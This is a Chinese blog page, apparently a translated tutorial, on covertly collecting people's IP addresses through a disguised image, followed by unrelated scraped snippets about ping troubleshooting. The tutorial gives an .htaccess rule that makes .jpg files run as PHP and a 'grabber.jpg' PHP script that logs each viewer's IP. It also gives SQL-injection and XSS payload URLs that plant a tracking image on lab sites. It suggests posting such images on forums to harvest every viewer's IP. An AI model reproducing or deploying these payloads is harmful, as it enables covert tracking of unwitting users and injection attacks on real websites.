个人中心
文章发布
退出
作者热门文章
- ubuntu12.04环境下使用kvm ioctl接口实现最简单的虚拟机
- Ubuntu 通过无线网络安装Ubuntu Server启动系统后连接无线网络的方法
- 在Ubuntu上搭建网桥的方法
- ubuntu 虚拟机上网方式及相关配置详解
30
4
CFSDN坚持开源创造价值，我们致力于搭建一个资源共享平台，让每一个IT人在这里找到属于你的精彩世界.
这篇CFSDN的博客文章基于PHP实现通过照片获取ip地址由作者收集整理，如果你对这篇文章有兴趣，记得点赞哟.
在本教程中，我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件，将jpg文件当作php文件来解析.
下面就是我们需要向.htaccess中添加的代码:
AddHandler application/x-httpd-php5 .jpg 。
然后将下面的代码复制到记事本中，命名为grabber.jpg 。
|
1
2
3
4
5
6
7
8
9
10
|
<?php
$fh
=
fopen
(‘ip_list.txt
', ‘a'
);
fwrite(
$fh
,
$_SERVER
[‘REMOTE_ADDR'].”
“);
fclose(
$fh
);
$im
= imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg(
$im
);
imagedestroy(
$im
);
?>
|
将grabber.jpg的权限设置为755，然后再找一张照片，将其命名为n00b.png，接着放到与grabber.jpg相同的目录之中.
就这样，一切工作就绪了。当别人浏览grabber.jpg这张照片的时候，他的ip地址就会被记录下来.
（译者注：需要把这些东西上传至我们的个人网站空间中） 。
POC:
(译者注：作者这里贴了一张可获取ip的演示照片，为了大家的隐私，我没有将其贴出，读者可自行去作者博客查看) 。
至此，我们的照片已经可以开始工作了.
接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷，我们没有理由去使用SQLi这种方法，但是为了让读者获取到更多的知识，我还是说明一下吧:
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3# 。
现在，再说一下如何使用xss来获取ip地址:
http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search 。
好了，就是这些了.
我们可以用这个技巧做许多有趣的事情，事实上大部分社区都允许我们发布一些照片，所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址.
以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容，希望对大家有所帮助！ 。
最后此篇关于基于PHP实现通过照片获取ip地址的文章就讲到这里了,如果你想了解更多关于基于PHP实现通过照片获取ip地址的内容请搜索CFSDN的文章或继续浏览相关文章，希望大家以后支持我的博客！ 。
30
4
0
我正在创建一个“杀死”人的命令。我希望机器人返回消息“哈!你以为!@Author 死了!”如果他们 ping 机器人。 (我如何让机器人查看它是否被 ping 过？)答案已更新并且现在可以正常工作。
我有一个在heroku 上运行的应用程序，例如my-app.herokuapp.com。但是，如果我输入 ping -c 10 my-app.herokuapp.com 在Mac终端中，它显示请求超时
我在 minikube 集群中有一个 k8s 服务/部署(default 命名空间中的名称 amq: D20181472:argo-k8s gms$ kubectl get svc --all-nam
我有 2 个 EC2 Ubuntu 实例。它们共享相同的 VPC、子网和安全组。实例的防火墙已关闭。但是私网IP还是无法互相ping通。如何让这些实例互相 ping 通？ 最佳答案 在安全组中，为“回
我可以连接到我的 wifi(另一台笔记本电脑在此网络上正常)，但是浏览器不会加载网页，并且我无法 ping 通 google.com 我注意到的一件奇怪的事情是，如果我查看/etc/resolv.co
我在 Azure 上使用 PUBSUB 时遇到问题。 Azure 防火墙将关闭闲置任意时间的连接。对于时间长度存在很多争议，但人们认为大约是 5 - 15 分钟。 我使用 Redis 作为消息队列。为
我很无聊，因为我的开发服务器已关闭，我正在运行命令提示符以无限期地 ping 服务器，以便我看到它们何时停止超时并知道我可以再次工作。与此同时，我想制作一个 Air 应用程序来为我做这件事，所以当它开
是否可以向 nat 后面的主机发送回显请求 后。所有的 echo-request 都不包含目标主机的端口，因此如果有多个主机使用相同的外部 ip 地址，nat 将如何将 echo-reques
我按照以下链接创建了 azure 实例 http://michaelwasham.com/2013/09/03/connecting-clouds-site-to-site-aws-azure/ 我可
friend 们，我认为这是一件奇怪的事情(至少对我来说)。因为我了解到互联网上的每个域名都有一个对应的IP地址。它存储在 DNS 上的某个位置。 现在，这就是我从命令行 ping google.co
我正在尝试使用分配给 kube-dns 服务的集群 IP 从 dnstools pod ping kube-dns 服务。 ping 请求超时。在同一个 dnstools pod 中，我尝试使用暴露的
我按照以下链接创建了 azure 实例 http://michaelwasham.com/2013/09/03/connecting-clouds-site-to-site-aws-azure/ 我可
我有一个虚拟网络 vmnet2，使用 10.0.2.0/24 网络，我希望我的 Linux 服务器能够 ping 默认网关。 我已将 Linux eth1 值设置为 IPADDR="10.0.2.50
我想将我的本地 mysql 数据库迁移到 Amazon RDS。但首先我想测试它是否正在接收通信。所以我尝试ping它。但是尝试超时。 ping -c 5 myfishdb.blackOut.us-w
我对 AWS 很陌生，已经测试过启动一个实例，如下所示: 下面是安全组，附加了inbound规则 我的问题是我无法 ping 通这台服务器。我可以知道我是否理解错了什么吗？ 最佳答案 您需要为其创建新
我对 AWS 很陌生，已经测试过启动一个实例，如下所示: 下面是安全组，附加了inbound规则 我的问题是我无法 ping 通这台服务器。我可以知道我是否理解错了什么吗？ 最佳答案 您需要为其创建新
如何确定 IP 地址是否可 ping 通？另外，如何使用 perl 脚本找到可 ping 的 IP 是静态的还是动态的？ 最佳答案 看看 Net::Ping模块； #!/usr/bin/env per
我已经研究这个有一段时间了。对于网站 static.etreeblog.com，如果网站离线，我想更改 duv 的类。 我研究过的方法: - 使用带有图像的 onerror 标签来运行函数。-问题:我
我正在使用 OpenvSwitch-2.5.2 在两个虚拟机上设置第 2 层网络，如上图所示。 在阅读了 ovs 官方教程和其他一些文章后，我在每个虚拟机上尝试了以下命令: # on vm1 ip l
我有一个名为 backend 的 Docker 容器，它公开了一个端口 8200，并在其中的 gunicorn 后面运行了一个 django 服务器。这是我的 Dockerfile: FROM deb
我是一名优秀的程序员,十分优秀！